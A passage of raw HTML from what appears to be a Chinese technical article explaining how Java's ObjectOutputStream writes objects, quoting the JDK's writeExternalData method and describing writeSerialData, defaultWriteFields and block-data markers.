break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">中的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">resolveClass</code><span md-inline="plain" style="box-sizing: border-box;">方法。</span></span></span></span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">在调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">annotateClass</code><span md-inline="plain" style="box-sizing: border-box;">方法完成过后，代码会关闭</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式，然后写入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_ENDBLOCKDATA</code><span md-inline="plain" style="box-sizing: border-box;">标记（表示当前非动态代理类的描述信息的终止）</span></span></span></span></span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">到这里，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeNonProxy</code><span md-inline="plain" style="box-sizing: border-box;">和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeClassDescriptor</code><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">流程结束</span></strong><span md-inline="plain" style="box-sizing: border-box;">，同样，也导致</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeClassDesc</code><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">流程结束</span></strong><span md-inline="plain" style="box-sizing: border-box;">，并且回到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeOrdinaryObject</code><span md-inline="plain" style="box-sizing: border-box;">方法。</span></span></span></span></span></span></span></span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">继续来看</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeOrdinaryObject</code><span md-inline="plain" style="box-sizing: border-box;">下面的代码</span></span></span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5109717868338558" data-s="300,640" style="" data-type="png" data-w="1276" src="https://wechat2rss.xlab.app/img-proxy/?k=7ea1da81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0ckcfqcYjcJyfSavHaA8JicTYPPwVibX1Aia8Ev6Sa5ID9EGZxSqasEibS6Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">如果使用的模式是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">unshared</code><span md-inline="plain" style="box-sizing: border-box;">模式，则将</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">desc</code><span md-inline="plain" style="box-sizing: border-box;">所表示的类元数据信息插入到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handles</code><span md-inline="plain" style="box-sizing: border-box;">对象的映射表中，最后会判断当前Java对象的序列化语义，如果当前对象不是一个</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">动态代理类</span></strong><span md-inline="plain" style="box-sizing: border-box;">并且是实现了</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">外部化</span></strong><span md-inline="plain" style="box-sizing: border-box;">的，则调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeExternalData</code><span md-inline="plain" style="box-sizing: border-box;">方法写入对象信息，如果当前对象是一个实现了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Serializable</code><span md-inline="plain" style="box-sizing: border-box;">接口的，则调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeSerialData</code><span md-inline="plain" style="box-sizing: border-box;">方法写入对象信息。</span></span></span></span></span></span></span></span></span></span></p><p style="text-align: left;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><p style="text-align: left;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeExternalData</code></span><span md-inline="plain" style="box-sizing: border-box;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;">主要代码如下：</span></span></p><p style="text-align: left;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeExternalData</span><span class="code-snippet__params">(Externalizable obj)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        PutFieldImpl oldPut = curPut;</span></code><code><span class="code-snippet_outer">        curPut = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (extendedDebugInfo) {</span></code><code><span class="code-snippet_outer">            debugInfoStack.push(<span class="code-snippet__string">&#34;writeExternal data&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        SerialCallbackContext oldContext = curContext;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            curContext = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (protocol == PROTOCOL_VERSION_1) {</span></code><code><span class="code-snippet_outer">                obj.writeExternal(<span class="code-snippet__keyword">this</span>);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                bout.setBlockDataMode(<span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">                obj.writeExternal(<span class="code-snippet__keyword">this</span>);</span></code><code><span class="code-snippet_outer">                bout.setBlockDataMode(<span class="code-snippet__keyword">false</span>);</span></code><code><span class="code-snippet_outer">                bout.writeByte(TC_ENDBLOCKDATA);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            curContext = oldContext;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (extendedDebugInfo) {</span></code><code><span class="code-snippet_outer">                debugInfoStack.pop();</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        curPut = oldPut;</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p style="text-align: left;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span><span md-inline="plain" style="box-sizing: border-box;">再这个方法内会首先判断当前使用的字节流协议，如果使用的是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">PROTOCOL_VERSION_1</code><span md-inline="plain" style="box-sizing: border-box;">协议，那么回直接调用可序列化对象中的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeExternal</code><span md-inline="plain" style="box-sizing: border-box;">方法，如果使用的不是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">PROTOCOL_VERSION_1</code><span md-inline="plain" style="box-sizing: border-box;">协议，那么会先开启</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式，再调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeExternal</code><span md-inline="plain" style="box-sizing: border-box;">方法，调用完毕后再关闭</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式并在该流的最后追加</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_ENDBLOCKDATA</code><span md-inline="plain" style="box-sizing: border-box;">标记。</span></span></span></span></span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">值得一提的是，这个方法有一个切换上下文环境的过程——在检测协议前，首先令</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">curPut</code><span md-inline="plain" style="box-sizing: border-box;">和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">curContext</code><span md-inline="plain" style="box-sizing: border-box;">为空，检测并写入数据后，再分别令</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">curContext</code><span md-inline="plain" style="box-sizing: border-box;"> </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">curPut</code><span md-inline="plain" style="box-sizing: border-box;">为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">oldContext</code><span md-inline="plain" style="box-sizing: border-box;">和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">oldPut</code><span md-inline="plain" style="box-sizing: border-box;">，恢复执行之前的环境。</span></span></span></span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><strong style="box-sizing: border-box;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;">这里留下一个思考：为什么这里要切换上下文环境？</strong></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">再来看看</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeSerialData</code><span md-inline="plain" style="box-sizing: border-box;">，这个方法主要向obj对象写入数据信息，比如字段值和相关引用等，写入的时候会从顶级父类从上至下递归执行；看看这个方法的详细过程：</span></span></p><p style="text-align: left;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.9370904325032765" data-s="300,640" style="" data-type="png" data-w="1526" src="https://wechat2rss.xlab.app/img-proxy/?k=131f9a8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cLprxNrT2xq0HUWtXLFgDWb3OSibVeovAcLAWEUiaSTfMT3rzNcOzPKbQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">在序列化当前对象之前，先从类描述信息中获取</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ClassDataSlot</code><span md-inline="plain" style="box-sizing: border-box;">信息，在得到继承结构后，开始遍历。</span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">首先判断可序列化对象是否重写了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeObject</code><span md-inline="plain" style="box-sizing: border-box;">方法，如果重写了该方法，则先开启</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式，再调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeObject</code><span md-inline="plain" style="box-sizing: border-box;">方法，调用结束后再关闭</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式，并且在最后追加</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_ENDBLOCKDATA</code><span md-inline="plain" style="box-sizing: border-box;">标记（表示数据块写入终止），如果没有重写该方法，则调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">defaultWriteFields</code><span md-inline="plain" style="box-sizing: border-box;">方法写入当前对象中的所有字段信息，跟进</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">defaultWriteFields</code></span><span md-inline="plain" style="box-sizing: border-box;">方法：</span></span></span></span></span></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.219626168224299" data-s="300,640" style="" data-type="png" data-w="1284" src="https://wechat2rss.xlab.app/img-proxy/?k=104286ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cMTu2QlIuV8S09L4auZMN2jzdO7lGf4JbLzxgx0G1LKLZIUbFWhHibrQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: 